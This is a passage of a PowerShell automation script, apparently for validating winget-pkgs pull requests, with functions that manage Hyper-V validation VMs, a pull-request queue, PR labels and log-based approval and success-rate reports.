$Enum.VMOS.Win11, - $Versions = (Get-Content $VMversion | ConvertFrom-Csv) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $Version"}; - ($Versions | Where-Object {$_.OS -eq $OS}).Version = $Version - $Versions | ConvertTo-Csv|Out-File $VMversion -} - -Function Get-TrackerVMRotate { - Param( - $status = (Get-Status), - $OS = $Enum.VMOS.Win11, - $VMs = ($status | Where-Object {$_.version -lt (Get-TrackerVMVersion -OS $OS)} | Where-Object {$_.OS -eq $OS}) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $OS"}; - if ($VMs){ - if (!(($status | Where-Object {$_.status -ne $Enum.VMStatus.Ready}).Count)) { - Get-TrackerVMSetStatus Regenerate ($VMs.VM | Get-Random) - } - } -} - -#VM Orchestration -Function Get-TrackerVMCycle { - Param( - $VMs = (Get-Status) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMCycle $VMs"}; - Foreach ($VM in $VMs) { - $VMNum = $Enum.Strings.Vm + $VM.vm - Switch ($VM.status) { - $Enum.VMStatus.AddVCRedist { - Add-ToValidationFile $VM.vm - Suspend-VM -Name $VMNum - } - $Enum.VMStatus.Approved { - Suspend-VM -Name $VMNum - $PRLabels = ((Invoke-GitHubPRRequest -PR $VM.PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) -join $Enum.Char.Space - if ($PRLabels -match $Enum.PRLabels.VC) { - Approve-PR -PR $VM.PR - } else { - Get-CompletePR -PR $VM.PR - } - Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM.vm - } - $Enum.VMStatus.CheckpointReady { - Redo-Checkpoint $VM.vm - } - $Enum.VMStatus.Complete { - Suspend-VM -Name $VMNum -ErrorAction SilentlyContinue - if (($VMs | Where-Object {$_.vm -eq $VM.vm} ).version -lt (Get-TrackerVMVersion -OS $VM.os)) { - Get-TrackerVMSetStatus $Enum.VMStatus.Regenerate $VM.vm - } else { - Complete-TrackerVM $VM.vm - } - } - $Enum.VMStatus.Disgenerate { - Suspend-VM -Name $VMNum - Get-PipelineVmDisgenerate $VM.vm - } - $Enum.VMStatus.DoesntRun { - Suspend-VM -Name $VMNum - Get-SendStatus -Status $Enum.VMStatus.Complete - } - $Enum.VMStatus.Feedback { - Suspend-VM -Name $VMNum - Get-AddPRLabel -PR $VM.PR -LabelName $Enum.PRLabels.NAF - Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM.vm - } - $Enum.VMStatus.Revert { - Suspend-VM -Name $VMNum - Get-TrackerVMRevert $VM.vm - } - $Enum.VMStatus.Regenerate { - Suspend-VM -Name $VMNum - Get-PipelineVmDisgenerate $VM.vm - Get-PipelineVmGenerate -OS $VM.os - } - $Enum.VMStatus.SendStatusApproved { - Suspend-VM -Name $VMNum - Get-SendStatus -Status $Enum.VMStatus.Approved - } - $Enum.VMStatus.SendStatusComplete { - Suspend-VM -Name $VMNum - Get-SendStatus -Status $Enum.VMStatus.Complete - } - $Enum.VMStatus.SendStatusFeedback { - Suspend-VM -Name $VMNum - Get-SendStatus -Status $Enum.VMStatus.Feedback - } - $Enum.VMStatus.SendStatus { - Suspend-VM -Name $VMNum - Get-SendStatus -Status $Enum.VMStatus.Complete - } - default { - } - }; #end switch - } -} - -Function Get-TrackerVMMode { - Param( - $Mode = (Get-Content $TrackerModeFile) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMMode $Mode"}; - Return $Mode -} - -Function Get-TrackerVMSetMode { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.TrackerModes) } )][string]$Mode = $Enum.TrackerModes.Validating - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMSetMode $Mode"}; - Return $Mode | Out-File $TrackerModeFile -NoNewLine -} - -Function Get-ConnectedVM { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ConnectedVM Start"}; - Test-Admin - (Get-Process *vmconnect*) | Select-Object id, @{n = $Enum.Strings.Vm; e = {ForEach-Object{$_.mainwindowtitle[$Enum.Index.First..5] -join $Enum.Char.Blank}}} -} - -Function Get-NextFreeVM { - Param( - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, - $Status = $Enum.VMStatus.Ready - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-NextFreeVM $OS"}; - Test-Admin - try { - $out_status = Get-Status - $out_status = $out_status | Where-Object {$_.OS -eq $OS} - $out_status = ($out_status | Where-Object {$_.version -eq (Get-TrackerVMVersion -OS $OS)} | Where-Object {$_.status -eq $Status}).vm - $out_status = $out_status |Get-Random -ErrorAction SilentlyContinue - return $out_status; - } catch { - Write-Host "No available $OS VMs" - return $Enum.Num.Zero - } -} - -Function Redo-Checkpoint { - Param( - [Parameter(mandatory = $True)][int]$VM, - $VMName = ("vm$VM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Redo-Checkpoint $VM"}; - Test-Admin - Get-TrackerVMSetStatus $Enum.VMStatus.Checkpointing $VM - Remove-VMCheckpoint -Name $CheckpointName -VMName $VMName - Checkpoint-VM -SnapshotName $CheckpointName -VMName $VMName - Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM -} - -Function Get-StopStuckVMs { - Param( - $VMsToStop = (Get-Status -Status Completing).VM - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StopStuckVMs $VMsToStop"}; - if ($VMsToStop) { - $VMsToStop | %{Get-TrackerVMProcess $_ | Stop-Process -Force} - } -} - -Function Get-RandomIEDS {#Only used by IEDS mode. - Param( - [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)), - $IEDSPRs = (Get-SearchGitHub -Preset IEDS -nBMM), - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, - [int]$PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData ($IEDSPRs.number | where {$_ -notin (Get-Status).pr} | Get-Random))#, - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RandomIEDS $VM"}; - if ($VM -eq 0){ - Write-Host "No available $OS VMs"; - Get-PipelineVmGenerate -OS $OS; - Add-PRToQueue -PR $PR; - } else { - Get-CommitFile -PR $PR -VM $VM - } -} - -#VM Misc -Function Get-StaleVMCheck { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StaleVMCheck Start"}; - if ((get-date) -gt $NextStaleCheck) { - $VMStatus = Get-Content $statusFile | convertfrom-csv - $CheckVMStatus = ($VMStatus | where {$_.status -ne $Enum.VMStatus.Ready} | where {$_.status -ne $Enum.VMStatus.LongRunning}) - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting stale VM check with $($CheckVMStatus.Count) Results" - foreach ($VM in $CheckVMStatus) { - if ($VM.pr -ne 1) { - $VMNum = $VM.vm - $PRState = (Invoke-GitHubPRRequest -PR $VM.pr -Type $Enum.PRRequestTypes.Blank -Output Content).state; - $PRLabels = ((Invoke-GitHubPRRequest -PR $VM.pr -Type $Enum.PRRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) - if ($null -ne $PRState) { - if (($PRState -ne $Enum.PRStates.Open) -OR - (($PRLabels -join $Enum.Char.Space) -match $Enum.PRLabels.CR)){ - Get-TrackerVMSetStatus -Status $Enum.VMStatus.Complete -VM $VMNum - Suspend-VM -Name "vm$VMNum" - } #end if PRState.state - } #end if null - } #end VM.pr - } #end foreach vm - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing stale VM check with $($CheckVMStatus.Count) Results" - $NextStaleCheck = (Get-Date).AddMinutes(5) - } -} - -#VM Window Management -Function Get-TrackerVMWindowLoc { - Param( - $VM, - $Rectangle = (New-Object RECT), - $VMProcesses = (Get-Process vmconnect), - $MWHandle = ($VMProcesses | where {$_.MainWindowTitle -match ("vm$VM")}).MainWindowHandle - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowLoc $VM"}; - [window]::GetWindowRect($MWHandle,[ref]$Rectangle) - Return $Rectangle -} - -Function Get-TrackerVMWindowSet { - Param( - $VM, - $Left, - $Top, - $Right, - $Bottom, - $VMProcesses = (Get-Process vmconnect), - $MWHandle = ($VMProcesses | where {$_.MainWindowTitle -match ("vm$VM")}).MainWindowHandle - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowSet $VM"}; - $null = [window]::MoveWindow($MWHandle,$Left,$Top,$Right,$Bottom,$True) -} - -Function Get-TrackerVMWindowArrange { - Param( - $VMs = (Get-Status |where {$_.status -ne $Enum.VMStatus.Ready}|where {$_.status -ne $Enum.VMStatus.Unhealthy}).vm - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowArrange $VMs"}; - If ($VMs) { - Get-TrackerVMWindowSet $VMs[$Enum.Index.First] $Enum.VMWinLoc.Left $Enum.VMWinLoc.Top $Enum.VMWinLoc.Bottom $Enum.VMWinLoc.Right - $Base = Get-TrackerVMWindowLoc $VMs[$Enum.Index.First] - - For ($n = $Enum.Index.Second; $n -lt $VMs.Count; $n++) { - $VM = $VMs[$n] - - $Left = ($Base.left - ($Enum.VMWinLoc.LeftAdj * $n)) - $Top = ($Base.top + ($Enum.VMWinLoc.TopAdj * $n)) - Get-TrackerVMWindowSet $VM $Left $Top $Enum.VMWinLoc.Bottom $Enum.VMWinLoc.Right - } - } -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################# - Disk - ################################## -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -#File Management -Function Get-SendStatus { - Param( - [int]$PR, - [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus)} )][string]$Status = $Enum.VMStatus.Complete, - $SharedError = ((Get-Content $SharedErrorFile) -split $Enum.Char.LineBreak) - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SendStatus $PR"}; - - $SharedError = $SharedError -replace $Enum.Char.CarriageReturn,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Caller1,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Caller2,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception1,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception2,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception4,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.Tid,$Enum.Char.Blank - $SharedError = $SharedError -replace $Enum.SendStatusReplace.LongFilepath,$Enum.Char.Blank - $SharedError = $SharedError -join $Enum.Char.LineBreakMDQuote - #$SharedError = Get-AutomatedErrorAnalysis $SharedError - if ((($SharedError -join $Enum.Char.Space) -match $Enum.StandardPRComments.SecurityCheck) -OR (($SharedError -join $Enum.Char.Space) -match $Enum.Strings.DetectedOneDefender)) { - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VDE - } - Reply-ToPR -PR $VM.PR -UserInput $SharedError -CannedMessage $Enum.CannedMessages.ManValEnd - Get-TrackerVMSetStatus -Status $Status -VM $VM.vm -} - -Function Get-TrackerVMRotateLog { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRotateLog Start"}; - $logYesterDate = (Get-Date -f dd) - 1 - Move-Item "$writeFolder\logs\$logYesterDate" "$logsFolder\$logYesterDate" -} - -Function Get-RemoveFileIfExist { - Param( - $FilePath, - [switch]$remake, - [switch]$Silent - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemoveFileIfExist $FilePath"}; - if (Test-Path $FilePath) {Remove-Item $FilePath -Recurse} - if ($Silent) { - if ($remake) {$null = New-Item -ItemType Directory -Path $FilePath} - } else { - if ($remake) {New-Item -ItemType Directory -Path $FilePath} - } - -} - -Function Get-LoadFileIfExists { - Param( - $FileName, - $FileContents, - [Switch]$Silent - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LoadFileIfExists $FileName"}; - if (Test-Path $FileName) { - $FileContents = Get-Content $FileName | ConvertFrom-Csv - if (!($Silent)) { - Write-Host "Loaded $($FileContents.Count) entries from $FileName." -f green - Return $FileContents - } - } else { - if (!($Silent)) { - Write-Host "File $FileName not found!" -f red - } - } -} - -Function Get-ManifestEntryCheck { - Param( - $PackageIdentifier, - $Version, - $Entry = $Enum.ManifestKeys.DisplayVersion - ) - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestEntryCheck $PackageIdentifier"}; - $content = Get-FileFromGitHub $PackageIdentifier $Version - $out = ($content | Where-Object {$_ -match $Entry}) - if ($out) {$True} else {$False} -} - -#PR Queue -Function Add-PRToQueue { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - $PRExclude = ((Get-Content $PRExcludeFile) -split $Enum.Char.LineBreak) - ) - process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-PRToQueue $PR"}; - if ($PRExclude -notcontains $PR) { - $PR | Out-File $PRQueueFile -Append - } - } -} - -Function Get-PopPRQueue { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PopPRQueue"}; - [array]$PRQueue = Get-Content $PRQueueFile - $PRQueue = $PRQueue -split $Enum.Char.LineBreak - $PRQueue = Get-Diff $PRQueue (Get-Status).PR - $out = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PRQueue[$Enum.Index.First] - $PRQueue = $PRQueue[$Enum.Index.Second..$PRQueue.Length] | Select-Object -unique - $PRQueue | Out-File $PRQueueFile - return $out -} - -Function Get-PRQueueCount { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRQueueCount"}; - $count = ((Get-Content $PRQueueFile) -split $Enum.Char.LineBreak).Count - return $count -} - -Function Get-CleanPRExcludeFile { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanPRExcludeFile"}; - [int[]]$out = $null - [int[]]$PRsToCheck = Get-Content $PRExcludeFile - foreach ($PR in $PRsToCheck) { - [int]$PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - $PRData = Get-PRData $PR - if ($PRData){ - if ($PRData.state -eq $Enum.PRStates.Open){ - $out += $PR - } - } - } - Out-File -InputObject $out -FilePath $PRExcludeFile -} - -Function Get-CleanPRFolder { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanPRFolder"}; - [array]$Images = ((Get-ChildItem $imagesFolder -Directory).name | where {$_ -notmatch $Enum.Strings.Win}) - $VMs = (Get-Status).vm - $VMs += 0 - $VMsToRemove = Get-Diff $Images $VMs - $VMsToRemove | %{Get-PipelineVmDisgenerate $_} -} - -#Reporting -Function Add-PRToRecord { - Param( - [int]$PR, - [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string[]]$Action, - $Title - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-PRToRecord $Action"}; - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - $Title = ($Title -split $Enum.Char.Hash)[$Enum.Index.First] - "$PR,$Action,$Title" | Out-File $LogFile -Append -} - -Function Get-PRPopulateRecord { - Param( - $Logs = (Get-Content $LogFile | ConvertFrom-Csv -Header ($Enum.PRRecordHeaders.PR,$Enum.PRRecordHeaders.Action,$Enum.PRRecordHeaders.Title)) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRPopulateRecord $($Logs.count)"}; - Foreach ($Log in $Logs) { - #Populate the Title column where blank, so all lines with the same PR number also have the same title, preventing the API calls for the lookup. - $ThisPR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $_.PR) - $LogPR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $Log.PR) - $Log.title = ($Logs | Where-Object {$_.title} | Where-Object {$ThisPR -match $LogPR}).title | Sort-Object -Unique - } - $Logs | ConvertTo-Csv|Out-File $LogFile -} - -Function Get-PRFromRecord { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string]$Action - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFromRecord $Action"}; - Get-PRPopulateRecord - (Get-Content $LogFile) | ConvertFrom-Csv -Header ($Enum.PRRecordHeaders.PR,$Enum.PRRecordHeaders.Action,$Enum.PRRecordHeaders.Title) | Where-Object {$_.Action -match $Action} -} - -Function Get-PRReportFromRecord { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string[]]$Action, - $out = $Enum.Char.Blank, - $line = 0, - $Record = ((Get-PRFromRecord $Action) | Sort-Object PR -Unique), - [switch]$NoClip - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRReportFromRecord $Action"}; - - $LogContents = (Get-Content $LogFile | ConvertFrom-Csv | Where-Object {$_.Action -notmatch $Action} | ConvertTo-Csv) - Out-File -FilePath $LogFile -InputObject $LogContents - #Get everything that doesn't match the action and put it back in the CSV. - - Foreach ($PR in $Record) { - $Title = $PR.Title - $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR.PR - if (!($Title)) { - $Title = (Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title - } - Get-TrackerProgress -Activity ("$($MyInvocation.MyCommand.name) $Action") -ItemName $PR -ItemNumber $line -TotalItems $Record.Length; $line++ - $out += "$Title #$PR`n"; - } - if ($NoClip) { - return $out - } else { - $out | clip - } - Write-Progress -Completed -} - -Function Get-PRFullReport { - Param( - $Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month), - $Today = (get-date -f MMddyy), - $ReportName = "$logsFolder\$Month\$Today-Report.txt", - $HeaderList = ($Enum.PRActions.Feedback,$Enum.PRActions.Blocking,$Enum.PRActions.Waiver,$Enum.PRActions.Retry,$Enum.PRActions.Manual,$Enum.PRActions.Closed,$Enum.PRActions.Project,$Enum.PRActions.Squash,$Enum.PRActions.Approved) - # $HeaderList = (Get-Keys $Enum.PRActions) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFullReport $Today"}; - Write-Host "Generating report for $Today" - md "$logsFolder\$Month\Stats\" -ErrorAction SilentlyContinue - Copy-Item -Path $LogFile -Destination "$logsFolder\$Month\Stats\$Today-Report.csv" - $null | Out-File $ReportName - $HeaderList | %{ - $_ | Out-File $ReportName -Append; - Get-PRReportFromRecord $_ -NoClip | Out-File $ReportName -Append - } - Write-Host "Report for $Today complete" -} - -Function Get-RepoCountReport { - Param( - $Date = (Get-Date -Format "s"), - $Count = (((Find-WinGetPackage $Enum.Char.Blank) | Measure-Object).Count) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RepoCountReport $Date"}; - $out = "`"$Date`", `"$Count`"" - Out-file -InputObject $out -FilePath $RepoCountFile -Append -} - -Function Get-RepoState { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RepoState $Date"}; -"https://github.com/microsoft/winget-pkgs/pulls?page=1&q = repo%3Amicrosoft%2Fwinget-pkgs + is%3Apr + is%3Aopen + draft%3Afalse + sort%3Aupdated-asc + label%3ANew-Package" # NewPackages -"https://github.com/microsoft/winget-pkgs/issues?q = state%3Aopen%20label%3AInternal-Error-Dynamic-Scan%20sort%3Aupdated-asc&page=1" #IEDS -"https://github.com/microsoft/winget-pkgs/pulls?q = repo%3Amicrosoft%2Fwinget-pkgs + is%3Apr + is%3Aopen + draft%3Afalse + -label%3AProject-File + -label%3Ablocked-installertype + -label%3AAzure-Pipeline-Passed + -label%3AValidation-Completed + -label%3AModerator-Approved + -label%3ABlocking-Issue + -label%3AInternal-Error-Manifest + -label%3AValidation-Defender-Error + -label%3AChanges-Requested + -label%3ANeeds-CLA + -label%3ANo-Recent-Activity + -label%3ANeeds-Attention + -label%3ANeeds-Author-Feedback + -label%3ANeeds-Review + -label%3AValidation-Merge-Conflict + -label%3AUnexpected-File + -label%3ALast-Version-Remaining + sort%3Aupdated-asc+" #NoLabels -"https://github.com/microsoft/winget-pkgs/pulls?q = is%3Apr + is%3Aopen + sort%3Aupdated-asc + label%3AValidation-Installation-Error" #VIE - -$StartTotal = 710 -$NewPackages = 172 -$IEDS = 71 -$NoL = 115 -$VIE = 178 -$Remainder = $StartTotal - $NewPackages - $IEDS - $NoL - $vie - -"Label | Count | % -New | $NewPackages | $([math]::round( $NewPackages/ $StartTotal,2)*100)% -IEDS | $IEDS | $([math]::round( $IEDS/ $StartTotal,2)*100)% -No Labels | $NoL | $([math]::round( $NoL/ $StartTotal,2)*100)% -VIE | $VIE | $([math]::round( $VIE/ $StartTotal,2)*100)% -Remainder | $Remainder | $([math]::round( $Remainder/ $StartTotal,2)*100)% -Total | $StartTotal | $([math]::round( $StartTotal/ $StartTotal,2)*100)%" - -} - -Function Get-ApprovalStats { - Param( - [Parameter(ValueFromPipeline)][int]$Date = ((Get-Date).day) - # [Switch]$Debug - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ApprovalStats $Date"}; - # $ApprovalStats = Get-Content $ApprovalStatsFile | ConvertFrom-Csv - $ApprovalStats = Get-Content $ApprovalStatsFile | ConvertFrom-Csv | where {(get-date $_.DateTime).day -match $date} - $AverageArray = @() - for ($n = 0; $n -le $ApprovalStats.Length; $n++) { - $add = $Enum.Char.Blank | Select-Object @{n = $Enum.Char.X; e = {$ApprovalStats[$n].PRsApprovedDuringLastRun}},@{n = $Enum.Char.Y; e = {$ApprovalStats[$n].AvgSecPerPR}} - $AverageArray += $add - }; #end for n - $LinearRegression = Get-LinearRegression $AverageArray - if ($Debug) { Write-Host "LR.m: $($LinearRegression.m); LR.b: $($LinearRegression.b)"} - $SecondsPerMaxRun = $LinearRegression.m * 30 + $LinearRegression.b - if ($Debug) { Write-Host "SecondsPerMaxRun: $SecondsPerMaxRun"} - $secondsperday = 24*60*60 - $MaxPRsPerDay = $secondsperday/$SecondsPerMaxRun - if ($Debug) { Write-Host "MaxPRsPerDay: $MaxPRsPerDay"} - $count = (Get-YesterdayFormattedReport $Date | where {$_.action -eq "approved"}).Count; - $pct = $count / $MaxPRsPerDay * 100; - - $AvgPRsPerRun = ($ApprovalStats.PRsApprovedDuringLastRun | Measure-Object -Average).average - $AvgSecPerRun = ($ApprovalStats.LastRunTookSeconds | Measure-Object -Average).average - $AvgSecPerPR = $AvgSecPerRun / $AvgPRsPerRun - - # "DateTime","PRsApprovedDuringLastRun","LastRunTookSeconds","AvgSecPerPR","SleepUntil" - $out = $Enum.Char.Blank | Select-Object Date, MaxPRs, YesterdayPRs, Percent, AvgPRsPerRun, AvgSecPerRun, AvgSecPerPR - $out.Date = $Date - $out.MaxPRs = [math]::round($MaxPRsPerDay,$Enum.Num.Two) - $out.YesterdayPRs = $count - $out.Percent = [math]::round($Pct,$Enum.Num.Two) - $out.AvgPRsPerRun = [math]::round($AvgPRsPerRun,$Enum.Num.Two) - $out.AvgSecPerRun = [math]::round($AvgSecPerRun,$Enum.Num.Two) - $out.AvgSecPerPR = [math]::round($AvgSecPerPR,$Enum.Num.Two) - $out - } -} - -Function Get-RunDurationStats { - Param( - $Files, # = (Get-ChildItem $logsFolder -recurse -file -Filter "*.log") - [switch]$Debug - ) - $Return = @() - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RunDurationStats Crunching $($Files.Count) log files..."}; - $ItemNumber = 0 - Foreach ($File in $Files) { - $out = $Enum.Char.Blank | Select-Object @{n = "DateTime"; e = {$SplitLog = ($File.FullName -split "\\"); - $year = $SplitLog[3]; $month = $SplitLog[4]; $Day = $SplitLog[5]; - $time = ((Get-Content $File)[$Enum.Index.Last] -split ": ")[$Enum.Index.First];Get-Date "$month/$day/$year $time"}}, @{n = "seconds"; e = {(((Get-Content $File)[$Enum.Index.Last] -split " in ")[$Enum.Index.Second] -split " seconds. ")[$Enum.Index.First]}} - $Return += $out - if ($Debug) { - Write-Host "Crunching file $($file.fullname)" - } else { - Get-TrackerProgress -Activity "Crunching log files..." -ItemName $file.fullname -ItemNumber $ItemNumber -TotalItems $Files.Count - $ItemNumber++ - } - } - - Return $Return -} - -Function Get-SuccessRates { - Param( - $LastMonth = (Get-Date (Get-Date).AddMonths(-1) -Format "MMMM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SuccessRates $LastMonth"}; - $out = @() - $MonthList = (Get-ChildItem "$logsFolder\$LastMonth\" -Directory).fullname - Foreach ($DayList in $MonthList) { - $DayStats = (Get-ChildItem $DayList).fullname | %{ - $file = Get-Content $_; - (($file[($file | Select-String $Enum.Strings.ManualValidation).LineNumber[$Enum.Index.Last] - 1] -split ": ")[$Enum.Index.Second] -replace "= " -split $Enum.Char.Space)[$Enum.Index.Second] - } - $Group = $DayStats | Group-Object | Select-Object Name, Count - - $Day = ($DayList -split "\\")[$Enum.Index.Last] - $New = ($Group | where {$_.name -match $Enum.SuccessType.New}).count - $Success = ($Group | where {$_.name -match $Enum.SuccessType.Success}).count - $Fail = ($Group | where {$_.name -match $Enum.SuccessType.Fail}).count - [int]$TotalCount = ($Group |%{$_.count} | Measure-Object -sum).sum - $SuccessRate = ($New + $Success) / $TotalCount - - - $mid = $Enum.Char.Blank | Select-Object @{n="Day";e={$Day}}, @{n="New";e={$New}}, @{n="Success";e={$Success}}, @{n="Fail";e={$Fail}}, @{n="TotalCount";e={$TotalCount}}, @{n="SuccessRate";e={$SuccessRate}} - $out += $mid - Write-Host "SuccessRates $LastMonth \ $Day found: $($file.count)" - } - $Day = "Totals" - [int]$New = ($out.("New") | Measure-Object -sum).sum - [int]$Success = ($out.("Success") | Measure-Object -sum).sum - [int]$Fail = ($out.("Fail") | Measure-Object -sum).sum - [int]$TotalCount = ($out.TotalCount | Measure-Object -sum).sum - $SuccessRate = ($New + $Success) / $TotalCount - - $mid = $Enum.Char.Blank | Select-Object @{n="Day";e={$Day}}, @{n="New";e={$New}}, @{n="Success";e={$Success}}, @{n="Fail";e={$Fail}}, @{n="TotalCount";e={$TotalCount}}, @{n="SuccessRate";e={$SuccessRate}} - $out += $mid - - Return $out -} - -Function Get-VMMinutesPerPackage { - Param( - [string]$Day = (Get-Date -Format "dd"), - [string]$Month = (Get-Date -Format "MMMM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-VMMinutesPerPackage $Day"}; - $Path = "C:\ManVal\write\logs\$Month\$Day" - if (test-path $Path) { - $ChildItem = Get-ChildItem $Path - } else { - mkdir $Path - $ChildItem = Get-ChildItem $Path - } - - $count = $ChildItem.LastWriteTime.count - $LastWriteTime = $ChildItem.LastWriteTime | sort -Descending - $minutes = ($LastWriteTime[0] - $LastWriteTime[-1]).totalminutes - $MinutesEach = $minutes/$count - # Write-Host "Each PR takes : $MinutesEach" - Return $MinutesEach -} - -#Write -Function Write-ApprovalStats { - Param( - [string]$PRsApprovedDuringLastRun, - [string]$LastRunTookSeconds, - [string]$SleepUntil, - $DateTime = (get-date -f s), - [Switch]$Silent, - [Switch]$WhatIf - ) - if (($FunctionTrace) -OR !($Silent)) {Write-FunctionTrace "Write-ApprovalStats $DateTime"}; - # $out = "$DateTime,$PR, $Switch, $LineNos, $Trigger" | ConvertTo-Csv -NoHeader - - $out = $Enum.Char.Blank | Select-Object DateTime,PRsApprovedDuringLastRun,LastRunTookSeconds,AvgSecPerPR,SleepUntil - $out.DateTime = get-date $DateTime -f s - $out.PRsApprovedDuringLastRun = $PRsApprovedDuringLastRun - $out.LastRunTookSeconds = $LastRunTookSeconds - $out.AvgSecPerPR = $out.LastRunTookSeconds / $out.PRsApprovedDuringLastRun - $out.SleepUntil = $SleepUntil - $out = $out | ConvertTo-Csv -NoHeader - if ($WhatIf) { - Write-Host "WhatIf: Out-File $ApprovalStatsFile -Encoding unicode -Append" - Write-Host 